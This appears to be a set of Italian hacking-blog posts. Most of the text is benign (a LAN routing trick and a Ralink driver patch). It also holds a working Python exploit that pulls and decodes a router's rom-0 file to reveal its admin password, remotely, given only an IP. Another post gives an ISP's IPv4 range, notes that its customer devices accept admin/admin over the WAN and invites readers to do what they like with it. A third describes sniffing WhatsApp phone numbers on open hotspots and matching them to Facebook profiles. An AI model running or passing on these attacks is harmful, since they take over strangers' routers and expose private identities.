Molto spesso può capitare di voler fare il forwarding dalla LAN alla LAN, ovvero avere un router che accetta i pacchetti in ingresso, e li reimmette sulla stessa rete magari eseguendoci sopra il load balancing o traffic shaping, ad esempio potrei avere una lan composta da un router alice, un router fastweb ed un server su cui ho a disposizione una sola interfaccia ethernet, ad occhio un sistemista non smanettone vi direbbe subito che dovete mettere altre 2 interfacce di rete sul server o non si può fare, FALSO.
Ora tralasciando la parte di traffic shaping e network balancing che è adeguatamente documentata altrove, vediamo come è possibile la cosa a livello teorico
Prendiamo in esempio la rete 192.168.0.0/24
Mettiamo che il server dove volete fare routing sia configurato per avere gateway predefinito 192.168.0.1 (Il router alice ) e che il server abbia indirizzo 192.168.0.2, teoricamente se io da una macchina con configurato gatweay 192.168.0.2, invio un pacchetto che ha come indirizzo di destinazione ad esempio 8.8.4.4 e come mac address di destinazione quello del server 192.168.0.2, il server lo riceverà, gli cambia di nuovo mac address di destinazione con quello del suo gateway e lo rispedisce in LAN di nuovo.
Se proviamo a farlo praticamente ci accorgiamo di una cosa però...
tiziano@tiziano-VPCF12Z1E ~ $ ping 8.8.4.4
PING 8.8.4.4 (8.8.4.4) 56(84) bytes of data.
64 bytes from 8.8.4.4: icmp_seq=1 ttl=46 time=99.5 ms
From 192.168.0.2: icmp_seq=2 Redirect Host(New nexthop: 192.168.0.1)
From 192.168.0.2 icmp_seq=2 Redirect Host64 bytes from 8.8.4.4: icmp_seq=2 ttl=46 time=71.9 ms
64 bytes from 8.8.4.4: icmp_seq=3 ttl=46 time=115 ms
Quello che sta succedendo in pratica è che il server sta dicendo al client che deve contattare direttamente 192.168.0.1 invece di lui, e questa cosa non va assolutamente bene perché se andiamo a fare un traceroute ci accorgiamo che il nostro server che dovrebbe fare traffic shaping oppure load balancing è stato bypassato, il traceroute partirà direttamente dal router di alice.
Questo problema si risolve disabilitando l'invio di pacchetti ICMP Redirect Host, utilizzando
sysctl -w net.ipv4.conf.all.send_redirects=0
E per ogni interfaccia
sysctl -w net.ipv4.conf.INTERFACCIA.send_redirects=0
http://www.cisco.com/en/US/tech/tk365/technologies_tech_note09186a0080094702.shtml Qui è documentato l'utilizzo del pacchetto ICMP Redirect in modo dettagliato
Una volta risolto questo problema al quale non sempre è scontata la soluzione dato che sono pochi ad avere setup funzionanti del genere, il resto della configurazione è praticamente uguale ad un normale routing, ovviamente quando si lavora sulle regole iptables , essendo l'interfaccia di ingresso ed uscita la stessa , si deve lavorare sugli indirizzi per distinguere i pacchetti
sabato 1 febbraio 2014
giovedì 16 gennaio 2014
Hacking dei router che utilizzano ROMPager completamente da remoto
Gran parte dei router TP-Link,ZyXel,Huawei ed alcuni linksys sono soggetti ad una vulnerabilità che permette di ottenere la password di amministratore DA REMOTO , lo script allegato permette, passandogli l'ip del router come parametro di tirare fuori la password instantaneamente
Per favore comunque evitate di farci danni con questo script, è un exploit vecchio di circa 1 anno e mezzo che trovai in seguito ad un attacco DDoS subito su un server privato di world of warcraft , e che nonostante abbia segnalato agli ISP è stato del tutto ignorato.
Lo posto solo ora perché ho visto che ci ha già pensato un altro a scoperchiare il vaso di pandora , solo che ha fatto il furbo , ed ha nascosto tutta la parte per decodificare il file rom-0 che io includo invece qui
import os import sys from struct import * import urllib2 ############################################################## # Lempel-Ziv-Stac decompression # BitReader and RingList classes # # Copyright (C) 2011 Filippo Valsorda - FiloSottile # filosottile.wiki gmail.com - www.pytux.it # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. # ############################################################## import collections class BitReader: """ Gets a string or a iterable of chars (also mmap) representing bytes (ord) and permits to extract bits one by one like a stream """ def __init__(self, bytes): self._bits = collections.deque() for byte in bytes: byte = ord(byte) for n in xrange(8): self._bits.append(bool((byte >> (7-n)) & 1)) def getBit(self): return self._bits.popleft() def getBits(self, num): res = 0 for i in xrange(num): res += self.getBit() << num-1-i return res def getByte(self): return self.getBits(8) def __len__(self): return len(self._bits) class RingList: """ When the list is full, for every item appended the older is removed """ def __init__(self, length): self.__data__ = collections.deque() self.__full__ = False self.__max__ = length def append(self, x): if self.__full__: self.__data__.popleft() self.__data__.append(x) if self.size() == self.__max__: self.__full__ = True def get(self): return self.__data__ def size(self): return len(self.__data__) def maxsize(self): return self.__max__ def __getitem__(self, n): if n >= self.size(): return None return self.__data__[n] def LZSDecompress(data, window = RingList(2048)): """ Gets a string or a iterable of chars (also mmap) representing bytes (ord) and an optional pre-populated dictionary; return the decompressed string and the final dictionary """ reader = BitReader(data) result = '' while True: bit = reader.getBit() if not bit: char = reader.getByte() result += chr(char) window.append(char) else: bit = reader.getBit() if bit: offset = reader.getBits(7) if offset == 0: # EOF break else: offset = reader.getBits(11) lenField = reader.getBits(2) if lenField < 3: lenght = lenField + 2 else: lenField <<= 2 lenField += reader.getBits(2) if lenField < 15: lenght = (lenField & 0x0f) + 5 else: lenCounter = 0 lenField = reader.getBits(4) while lenField == 15: lenField = reader.getBits(4) lenCounter += 1 lenght = 15*lenCounter + 8 + lenField for i in xrange(lenght): char = window[-offset] result += chr(char) window.append(char) return result, window class Object: def __init__(self,blockdata,data): self.name = data[:14].strip("\x00") self.uncompsize = unpack(">H",data[14:16])[0] self.compsize = unpack(">H",data[16:18])[0] self.offset = unpack(">H",data[18:20])[0] print "Object",self.name ,self.uncompsize,self.compsize,self.offset self.data = blockdata[self.offset:self.offset+self.compsize] #print [self.data] if self.name == "spt.dat": data2 = self.data self.data = "" index = 12 while index < self.uncompsize: orgsize = unpack(">H",data2[index:index+2])[0] rawsize = unpack(">H",data2[index+2:index+4])[0] #print orgsize,rawsize self.data += LZSDecompress(data2[index+4:index+4+rawsize])[0] index += rawsize print "Password:",self.data[20:].split("\x00")[0] class Block: def __init__(self,data): self.blocknumber = ord(data[0]) self.unk1 = ord(data[1]) self.objectcount = unpack(">H",data[2:4])[0] self.blocklength = unpack(">H",data[4:6])[0] print "Block:",self.blocknumber , self.objectcount , self.blocklength self.objects = [] for i in range(0,self.objectcount): self.objects.append(Object(data,data[6+20*i:])) blocks = [] f = urllib2.urlopen("http://%s/rom-0"%sys.argv[1]) # = open(sys.argv[1],"rb") d = f.read() mem = Block(d[0x0:]) a = Block(d[0x2000:])
Le nazioni che principalmente hanno questi router vulnerabili sono Romania, Algeria, Egitto, Colombia, Brasile, Albania.
Per favore comunque evitate di farci danni con questo script, è un exploit vecchio di circa 1 anno e mezzo che trovai in seguito ad un attacco DDoS subito su un server privato di world of warcraft , e che nonostante abbia segnalato agli ISP è stato del tutto ignorato.
Lo posto solo ora perché ho visto che ci ha già pensato un altro a scoperchiare il vaso di pandora , solo che ha fatto il furbo , ed ha nascosto tutta la parte per decodificare il file rom-0 che io includo invece qui
giovedì 2 gennaio 2014
La sicurezza dell'ISP WiMax che utilizzo
Scrivo questo post, perché oggi è successo un evento che ha del ridicolo diciamo.
Ero connesso ad Azzurra.org ( Network IRC , se non sapete cosa sia è inutile andare avanti nella lettura ) e stavo giocando a No more room in hell , con la linea Alice ADSL, e vedo che inizio ad avere ping che superano i 200 ms abbondantemente.
Così ho pensato di switchare questo pc da dove stavo giocando verso il router che punta sul WiMax, e fin qui tutto bene a livello di gioco i ping sono calati, ma ho notato un simpatico messaggio su IRC
* *** Notice -- This server runs an open proxy monitor to prevent abuse.
* *** Notice -- If you see various connections from proxy-check.azzurra.org or 85.94.194.111
* *** Notice -- please disregard them, as they are the detector in action.
* *** Notice -- For more information please visit http://www.azzurra.org/kline.php?mod=socks-proxy
* *** Notice -- Your connection is restricted! For more information please visit http://www.azzurra.org/restrict.html
In pratica mi dice che sono stato buttato fuori perché ho un proxy socks aperto !!!
Allora visto ciò ho fatto un nmap dalla linea alice , verso l'indirizzo pubblico della linea wimax ( AriaDSL )...
Quello che ne esce fuori ha dell'incredibile
21/tcp open ftp GNU Inetutils FTPd 1.4.1
22/tcp open ssh Dropbear sshd 0.52 (protocol 2.0)
| ssh-hostkey: 1024 74:7b:6e:f4:b0:fd:3f:83:fe:60:62:d4:2c:38:e6:9a (DSA)
|_1040 3d:f3:00:97:78:b4:b0:2b:ee:e7:69:87:39:44:00:b3 (RSA)
80/tcp open http?
|_http-title: Wimax CPE Configuration
81/tcp filtered hosts2-ns
443/tcp open ssl/https?
|_sslv2: server still supports SSLv2
|_http-title: Wimax CPE Configuration
| ssl-cert: Subject: commonName=MatrixSSL Sample Server Cert/organizationName=PeerSec Networks/stateOrProvinceName=WA/countryName=US
| Not valid before: 2006-03-13 08:13:34
|_Not valid after: 2007-03-13 08:13:34
2500/tcp filtered rtsserv
2601/tcp open zebra Quagga routing software
6789/tcp open ibm-db2-admin?
9999/tcp open abyss?
A parte la porta 81 che l'ho aperta io per dare accesso ad una cartella dropbox ad un'altra persona senza ricorrere a dropbox , le altre al di fuori della 80 e della 443 neppure sapevo fossero aperte.
Il loro spazio di indirizzi IPV4 è 159.20.176.0/21 , fategli quello che vi pare o dateli a chi vi pare, così forse capiscono che hanno dei leggerissimi problemi di sicurezza, io glie l'ho detto diverse volte che non voglio quell'interfaccia web del cazzo aperta sulla WAN e che è vulnerabile, gli ho fatto vedere in diretta ad un loro installatore mentre entravo da remoto sul suo CPE, ma non mi ascoltano.
Io ho cambiato password , se poi riesce qualcuno ad entrarmi lo stesso sticavoli, tanto fra la mia rete e quello schifo ci ho messo un altro router che non ha falle del genere.
Aggiunta delle 22:47 , dimenticavo
AriaDSL inoltre fornisce apparati in completa violazione della licenza GPL in quanto sul loro sito , ne tantomeno su quella della Huawei sembra possibile scaricare i sorgenti dei software opensource utilizzati nei loro CPE , tra cui di sicuro Linux , quagga , e GNU Inetutils
Ero connesso ad Azzurra.org ( Network IRC , se non sapete cosa sia è inutile andare avanti nella lettura ) e stavo giocando a No more room in hell , con la linea Alice ADSL, e vedo che inizio ad avere ping che superano i 200 ms abbondantemente.
Così ho pensato di switchare questo pc da dove stavo giocando verso il router che punta sul WiMax, e fin qui tutto bene a livello di gioco i ping sono calati, ma ho notato un simpatico messaggio su IRC
* *** Notice -- This server runs an open proxy monitor to prevent abuse.
* *** Notice -- If you see various connections from proxy-check.azzurra.org or 85.94.194.111
* *** Notice -- please disregard them, as they are the detector in action.
* *** Notice -- For more information please visit http://www.azzurra.org/kline.php?mod=socks-proxy
* *** Notice -- Your connection is restricted! For more information please visit http://www.azzurra.org/restrict.html
In pratica mi dice che sono stato buttato fuori perché ho un proxy socks aperto !!!
Allora visto ciò ho fatto un nmap dalla linea alice , verso l'indirizzo pubblico della linea wimax ( AriaDSL )...
Quello che ne esce fuori ha dell'incredibile
21/tcp open ftp GNU Inetutils FTPd 1.4.1
22/tcp open ssh Dropbear sshd 0.52 (protocol 2.0)
| ssh-hostkey: 1024 74:7b:6e:f4:b0:fd:3f:83:fe:60:62:d4:2c:38:e6:9a (DSA)
|_1040 3d:f3:00:97:78:b4:b0:2b:ee:e7:69:87:39:44:00:b3 (RSA)
80/tcp open http?
|_http-title: Wimax CPE Configuration
81/tcp filtered hosts2-ns
443/tcp open ssl/https?
|_sslv2: server still supports SSLv2
|_http-title: Wimax CPE Configuration
| ssl-cert: Subject: commonName=MatrixSSL Sample Server Cert/organizationName=PeerSec Networks/stateOrProvinceName=WA/countryName=US
| Not valid before: 2006-03-13 08:13:34
|_Not valid after: 2007-03-13 08:13:34
2500/tcp filtered rtsserv
2601/tcp open zebra Quagga routing software
6789/tcp open ibm-db2-admin?
9999/tcp open abyss?
A parte la porta 81 che l'ho aperta io per dare accesso ad una cartella dropbox ad un'altra persona senza ricorrere a dropbox , le altre al di fuori della 80 e della 443 neppure sapevo fossero aperte.
In pratica su questo accrocco che mi hanno dato c'è sulla WAN
Un server FTP ( A che cazzo serve??? )
Un server SSH attivo ( Vedere sopra )
Un server FTP ( A che cazzo serve??? )
Un server SSH attivo ( Vedere sopra )
L'interfaccia web ( meglio non commentare )
Un'altra interfaccia web che non so a che cavolo serva
Zebra ( Che minchia ci sta a fare su una CPE? , e soprattutto sulla WAN? )
Zebra ( Che minchia ci sta a fare su una CPE? , e soprattutto sulla WAN? )
La 6789 e la 9999 poi boh , non so neanche cosa siano , ho provato a connettermi con telnet ma non danno nessun output
Ora la cosa bella viene sull'interfaccia web, ebbene si perché questi "poco svegli" per non andare su offese pesanti, cosa hanno fatto...
Hanno dato alla gente questi CPE con nome utente e password di default admin/admin CON L'INTERFACCIA WEB APERTA SULLA WAN , Geniale vero?
E non solo quella , quella combinazione admin-admin funziona anche sull'SSH, ed inoltre anche la rete wireless di questo accrocco è di default senza password , e nessun analfabeta informatico nella media italiana si sognerebbe di cambiare password ovviamente.
E non solo quella , quella combinazione admin-admin funziona anche sull'SSH, ed inoltre anche la rete wireless di questo accrocco è di default senza password , e nessun analfabeta informatico nella media italiana si sognerebbe di cambiare password ovviamente.
Avete capito bene quindi, nome utente e password di default admin/admin CON L'INTERFACCIA WEB APERTA SULLA WAN
Il loro spazio di indirizzi IPV4 è 159.20.176.0/21 , fategli quello che vi pare o dateli a chi vi pare, così forse capiscono che hanno dei leggerissimi problemi di sicurezza, io glie l'ho detto diverse volte che non voglio quell'interfaccia web del cazzo aperta sulla WAN e che è vulnerabile, gli ho fatto vedere in diretta ad un loro installatore mentre entravo da remoto sul suo CPE, ma non mi ascoltano.
Io ho cambiato password , se poi riesce qualcuno ad entrarmi lo stesso sticavoli, tanto fra la mia rete e quello schifo ci ho messo un altro router che non ha falle del genere.
Aggiunta delle 22:47 , dimenticavo
AriaDSL inoltre fornisce apparati in completa violazione della licenza GPL in quanto sul loro sito , ne tantomeno su quella della Huawei sembra possibile scaricare i sorgenti dei software opensource utilizzati nei loro CPE , tra cui di sicuro Linux , quagga , e GNU Inetutils
sabato 9 novembre 2013
Hotspot senza cifratura e smartphone? Brutta accoppiata per la privacy
Torno di nuovo a scrivere per i problemi riguardanti la privacy con gli smartphone, perché si aggiunge, oltre al noto problema della scansione attiva e quindi dell'invio di probe diretti ad access point, anche un altro problema più grave originante da Whatsapp e Facebook, in pratica con tecniche di livello veramente base è possibile conoscere il numero di cellulare di chi è connesso all'hotspot, e dal numero di cellulare conoscere in una buona parte di casi, il profilo facebook.
Tutto ciò funziona in quanto Whatsapp, ogni volta che si riconnette invia un pacchetto contente la stringa "WAUTH-2", il quale contiene il numero di telefono completamente in chiaro, avete letto bene, COMPLETAMENTE IN CHIARO.
È sufficiente quindi mettere una banale interfaccia wireless in modalità monitor sul canale dell'access point ed aspettare che qualcuno apra l'applicazione whatsapp sul proprio cellulare.
Non appena lo farà, è possibile estrapolare dal pacchetto il numero di telefono, in modo banale, e con questo, utilizzando la pagina https://www.facebook.com/search.php?q=numero , nel 50% dei casi o anche più si riesce a risalire a nome e cognome e profilo facebook.
Quindi lo stato attuale delle cose è che, semplicemente con un attacco di tipo passivo ( niente man in the middle o simili ), è possibile ottenere
Numero di cellulare
Modello di cellulare
Nome e cognome
Profilo facebook
Posti più frequentati
Indirizzo di casa approssimato( successivamente raffinabile una volta nel raggio dell'access point )
Associazione mac address - persona , che quindi porta al tracciamento del resto del traffico
Forum: http://linuxehacking.info/viewtopic.php?f=7&t=2 (Sorgenti dello sniffer inclusi )
Tutto ciò funziona in quanto Whatsapp, ogni volta che si riconnette invia un pacchetto contente la stringa "WAUTH-2", il quale contiene il numero di telefono completamente in chiaro, avete letto bene, COMPLETAMENTE IN CHIARO.
È sufficiente quindi mettere una banale interfaccia wireless in modalità monitor sul canale dell'access point ed aspettare che qualcuno apra l'applicazione whatsapp sul proprio cellulare.
Non appena lo farà, è possibile estrapolare dal pacchetto il numero di telefono, in modo banale, e con questo, utilizzando la pagina https://www.facebook.com/search.php?q=numero , nel 50% dei casi o anche più si riesce a risalire a nome e cognome e profilo facebook.
Quindi lo stato attuale delle cose è che, semplicemente con un attacco di tipo passivo ( niente man in the middle o simili ), è possibile ottenere
Numero di cellulare
Modello di cellulare
Nome e cognome
Profilo facebook
Posti più frequentati
Indirizzo di casa approssimato( successivamente raffinabile una volta nel raggio dell'access point )
Associazione mac address - persona , che quindi porta al tracciamento del resto del traffico
Forum: http://linuxehacking.info/viewtopic.php?f=7&t=2 (Sorgenti dello sniffer inclusi )
giovedì 19 settembre 2013
Recuperare un'interfaccia Ralink a 5 Ghz con EEPROM danneggiata senza riprogrammare il chip
Molti mesi fa , mi si danneggiò la EEPROM della mia ALFA dual-band, la situazione inizialmente sembrava tragica, la periferica non veniva neanche più riconosciuta ( i descrittori usb contenuti nella eeprom erano danneggiati ).
La eeprom di questa periferica difatti , nonostante tramite USB sia possibile leggerne i primi 0x110 byte , in realtà è da 0x400 byte ed all'indirizzo 0x200 inizia la parte dei descrittori USB la quale è utilizzata dal chipset.
Una volta dissaldata la eeprom si può notare che l'interfaccia wireless funziona di nuovo, però le funzionalità dual-band non ci sono più, ed anche il mac address è danneggiato.
Dato che i tentativi che ho fatto di sostituire la eeprom , un po' per sfortuna , un po' per la mia poca esperienza a lavorare in SMD sono andati male , ho tentato di modificare il driver, in modo che nel caso il chip id della eeprom sia 0xffff ( ovvero quando il chip non è presente ) , vada a caricare un file in /lib/firmware in modo da riconoscere correttamente l'id del chip RF ed altri parametri ( tipo le antenne da utilizzare )
Ho modificato il file rt2800usb.c del driver rt2x00 , modificando la funzione rt2800usb_read_eeprom nel seguente modo
static int rt2800usb_read_eeprom(struct rt2x00_dev *rt2x00dev)
{
int retval;
mm_segment_t fs;
struct file *f;
if (rt2800_efuse_detect(rt2x00dev))
retval = rt2800_read_eeprom_efuse(rt2x00dev);
else
{
retval = rt2x00usb_eeprom_read(rt2x00dev, rt2x00dev->eeprom,
EEPROM_SIZE);
if ( rt2x00dev->eeprom[0] == 0xffff ) //No eeprom chip
{
printk("rt2800usb: connected device has broken/missing eeprom chip\n");
f = filp_open("/lib/firmware/rt2800usb_eeprom.bin", O_RDONLY, 0);
if ( IS_ERR(f) )
{
printk("rt2800usb: Cannot load eeprom from /lib/firmware/rt2800usb_eeprom.bin\n");
return -1;
}
fs = get_fs();
set_fs(get_ds());
f->f_op->read(f,(char*)rt2x00dev->eeprom,EEPROM_SIZE,&f->f_pos);
set_fs(fs);
filp_close(f,NULL);
printk("rt2800usb: Loaded eeprom override\n");
}
}
return retval;
}
In questo modo il driver al collegamento di una periferica rt2800usb andrà a cercare un file in /lib/firmware/rt2800usb_eeprom.bin contenente la EEPROM da utilizzare.
Purtroppo ci sono delle limitazioni, ad esempio non si possono usare più ralink 2800usb con eeprom danneggiata nello stesso sistema.
Allego di seguito la eeprom della mia ALFA , dovete assolutamente modificare il mac address con il vostro , oppure metterne uno casuale ( è consigliabile lasciare inalterati i primi 3 byte )
0000:0000 | 70 27 04 01 00 C0 CA 32 | p'...ÀÊ2
0000:0008 | B7 FE FF FF FF FF FF FF | ·Dÿÿÿÿÿÿ
0000:0010 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ
0000:0018 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ
0000:0020 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ
0000:0028 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ
0000:0030 | FF FF FF FF 12 04 20 00 | ÿÿÿÿ.. .
0000:0038 | FF FF 15 01 FF FF FF FF | ÿÿ..ÿÿÿÿ
0000:0040 | FF FF FF FF 09 04 00 00 | ÿÿÿÿ....
0000:0048 | 00 04 00 00 00 03 FF FF | ......ÿÿ
0000:0050 | FF FF 02 02 02 02 02 03 | ÿÿ......
0000:0058 | 03 03 03 03 03 03 03 03 | ........
0000:0060 | 00 00 00 00 00 00 00 00 | ........
0000:0068 | 00 00 00 00 00 00 FF FF | ......ÿÿ
0000:0070 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ
0000:0078 | 06 06 06 06 06 06 06 06 | ........
0000:0080 | 06 06 06 06 05 05 05 05 | ........
0000:0088 | 05 05 05 05 05 05 06 06 | ........
0000:0090 | 06 06 06 06 06 06 06 06 | ........
0000:0098 | 06 06 07 FF FF FF FF FF | ...ÿÿÿÿÿ
0000:00A0 | FF FF FF FF FF FF 00 00 | ÿÿÿÿÿÿ..
0000:00A8 | 00 00 00 00 00 00 00 00 | ........
0000:00B0 | 00 00 00 00 00 00 00 00 | ........
0000:00B8 | 00 00 00 00 00 00 00 00 | ........
0000:00C0 | 00 00 00 00 00 00 00 00 | ........
0000:00C8 | 00 FF FF FF FF FF FF FF | .ÿÿÿÿÿÿÿ
0000:00D0 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ
0000:00D8 | FF FF FF FF FF FF 88 88 | ÿÿÿÿÿÿ..
0000:00E0 | 99 AA 88 66 AA AA 88 66 | .ª.fªª.f
0000:00E8 | AA AA 88 66 AA AA 88 66 | ªª.fªª.f
0000:00F0 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ
0000:00F8 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ
0000:0100 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ
0000:0108 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ
0000:0110 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ
0000:0118 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ
0000:0120 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ
0000:0128 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ
0000:0130 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ
0000:0138 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ
0000:0140 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ
0000:0148 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ
0000:0150 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ
0000:0158 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ
0000:0160 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ
0000:0168 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ
0000:0170 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ
0000:0178 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ
0000:0180 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ
0000:0188 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ
0000:0190 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ
0000:0198 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ
0000:01A0 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ
0000:01A8 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ
0000:01B0 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ
0000:01B8 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ
0000:01C0 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ
0000:01C8 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ
0000:01D0 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ
0000:01D8 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ
0000:01E0 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ
0000:01E8 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ
0000:01F0 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ
0000:01F8 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ
0000:0200 | 12 01 00 02 00 00 00 40 | .......@
0000:0208 | 8F 14 70 27 01 01 01 02 | ..p'....
0000:0210 | 03 01 0A 06 00 02 00 00 | ........
0000:0218 | 00 40 01 00 09 02 35 00 | .@....5.
0000:0220 | 01 01 00 80 E1 09 04 00 | ....á...
0000:0228 | 00 07 FF FF FF 05 07 05 | ..ÿÿÿ...
0000:0230 | 81 02 00 02 00 07 05 01 | ........
0000:0238 | 02 00 02 00 07 05 02 02 | ........
0000:0240 | 00 02 00 07 05 03 02 00 | ........
0000:0248 | 02 00 07 05 04 02 00 02 | ........
0000:0250 | 00 07 05 05 02 00 02 00 | ........
0000:0258 | 07 05 06 02 00 02 00 B8 | .......¸
0000:0260 | 11 7D 08 0D 00 00 00 00 | .}......
0000:0268 | 54 69 7A 69 61 6E 6F 42 | TizianoB
0000:0270 | 61 63 6F 63 63 6F 48 41 | acoccoHA
0000:0278 | 43 4B 20 20 00 00 00 00 | CK ....
0000:0280 | 12 01 00 02 00 00 00 40 | .......@
0000:0288 | 8F 14 70 28 01 00 06 07 | ..p(....
0000:0290 | 08 01 0A 06 00 02 00 00 | ........
0000:0298 | 00 40 01 00 09 02 20 00 | .@.... .
0000:02A0 | 01 01 00 80 E1 09 04 00 | ....á...
0000:02A8 | 00 02 08 06 50 0A 07 05 | ....P...
0000:02B0 | 81 02 00 02 00 07 05 01 | ........
0000:02B8 | 02 00 02 00 00 00 00 00 | ........
0000:02C0 | 00 00 00 00 00 00 00 00 | ........
0000:02C8 | 00 00 00 00 00 00 00 00 | ........
0000:02D0 | 00 00 00 00 00 00 00 00 | ........
0000:02D8 | 00 00 00 00 00 00 00 00 | ........
0000:02E0 | 00 00 3F 00 00 00 00 00 | ..?.....
0000:02E8 | 00 00 00 00 00 00 00 00 | ........
0000:02F0 | 00 60 70 A2 FF A2 60 70 | .`p¢ÿ¢`p
0000:02F8 | A2 FF A2 FF FF FF FF FF | ¢ÿ¢ÿÿÿÿÿ
0000:0300 | 04 03 09 04 00 00 00 00 | ........
0000:0308 | 00 00 00 00 00 00 00 00 | ........
0000:0310 | 00 00 00 00 00 00 00 00 | ........
0000:0318 | 00 00 00 00 00 00 00 00 | ........
0000:0320 | 00 00 00 00 00 00 00 00 | ........
0000:0328 | 00 00 00 00 00 00 00 00 | ........
0000:0330 | 00 00 00 00 00 00 00 00 | ........
0000:0338 | 00 00 00 00 00 00 00 00 | ........
0000:0340 | 00 00 00 00 00 00 00 00 | ........
0000:0348 | 00 00 00 00 00 00 00 00 | ........
0000:0350 | 00 00 00 00 00 00 00 00 | ........
0000:0358 | 00 00 00 00 00 00 00 00 | ........
0000:0360 | 0E 03 52 00 61 00 6C 00 | ..R.a.l.
0000:0368 | 69 00 6E 00 6B 00 00 00 | i.n.k...
0000:0370 | 1E 03 38 00 30 00 32 00 | ..8.0.2.
0000:0378 | 2E 00 31 00 31 00 20 00 | ..1.1. .
0000:0380 | 6E 00 20 00 57 00 4C 00 | n. .W.L.
0000:0388 | 41 00 4E 00 00 00 00 00 | A.N.....
0000:0390 | 04 03 09 04 00 00 00 00 | ........
0000:0398 | 00 00 00 00 00 00 00 00 | ........
0000:03A0 | 00 00 08 03 31 00 2E 00 | ....1...
0000:03A8 | 30 00 00 00 00 00 00 00 | 0.......
0000:03B0 | 00 00 00 00 00 00 00 00 | ........
0000:03B8 | 00 00 00 00 00 00 00 00 | ........
0000:03C0 | 00 00 00 00 00 00 00 00 | ........
0000:03C8 | 00 00 00 00 00 00 00 00 | ........
0000:03D0 | 00 00 00 00 00 00 00 00 | ........
0000:03D8 | 00 00 00 00 00 00 00 00 | ........
0000:03E0 | 00 00 00 00 00 00 00 00 | ........
0000:03E8 | 00 00 00 00 00 00 00 00 | ........
0000:03F0 | 00 00 00 00 00 00 00 00 | ........
0000:03F8 | 00 00 00 00 00 00 00 00 | ........
La eeprom di questa periferica difatti , nonostante tramite USB sia possibile leggerne i primi 0x110 byte , in realtà è da 0x400 byte ed all'indirizzo 0x200 inizia la parte dei descrittori USB la quale è utilizzata dal chipset.
Una volta dissaldata la eeprom si può notare che l'interfaccia wireless funziona di nuovo, però le funzionalità dual-band non ci sono più, ed anche il mac address è danneggiato.
Dato che i tentativi che ho fatto di sostituire la eeprom , un po' per sfortuna , un po' per la mia poca esperienza a lavorare in SMD sono andati male , ho tentato di modificare il driver, in modo che nel caso il chip id della eeprom sia 0xffff ( ovvero quando il chip non è presente ) , vada a caricare un file in /lib/firmware in modo da riconoscere correttamente l'id del chip RF ed altri parametri ( tipo le antenne da utilizzare )
Ho modificato il file rt2800usb.c del driver rt2x00 , modificando la funzione rt2800usb_read_eeprom nel seguente modo
static int rt2800usb_read_eeprom(struct rt2x00_dev *rt2x00dev)
{
int retval;
mm_segment_t fs;
struct file *f;
if (rt2800_efuse_detect(rt2x00dev))
retval = rt2800_read_eeprom_efuse(rt2x00dev);
else
{
retval = rt2x00usb_eeprom_read(rt2x00dev, rt2x00dev->eeprom,
EEPROM_SIZE);
if ( rt2x00dev->eeprom[0] == 0xffff ) //No eeprom chip
{
printk("rt2800usb: connected device has broken/missing eeprom chip\n");
f = filp_open("/lib/firmware/rt2800usb_eeprom.bin", O_RDONLY, 0);
if ( IS_ERR(f) )
{
printk("rt2800usb: Cannot load eeprom from /lib/firmware/rt2800usb_eeprom.bin\n");
return -1;
}
fs = get_fs();
set_fs(get_ds());
f->f_op->read(f,(char*)rt2x00dev->eeprom,EEPROM_SIZE,&f->f_pos);
set_fs(fs);
filp_close(f,NULL);
printk("rt2800usb: Loaded eeprom override\n");
}
}
return retval;
}
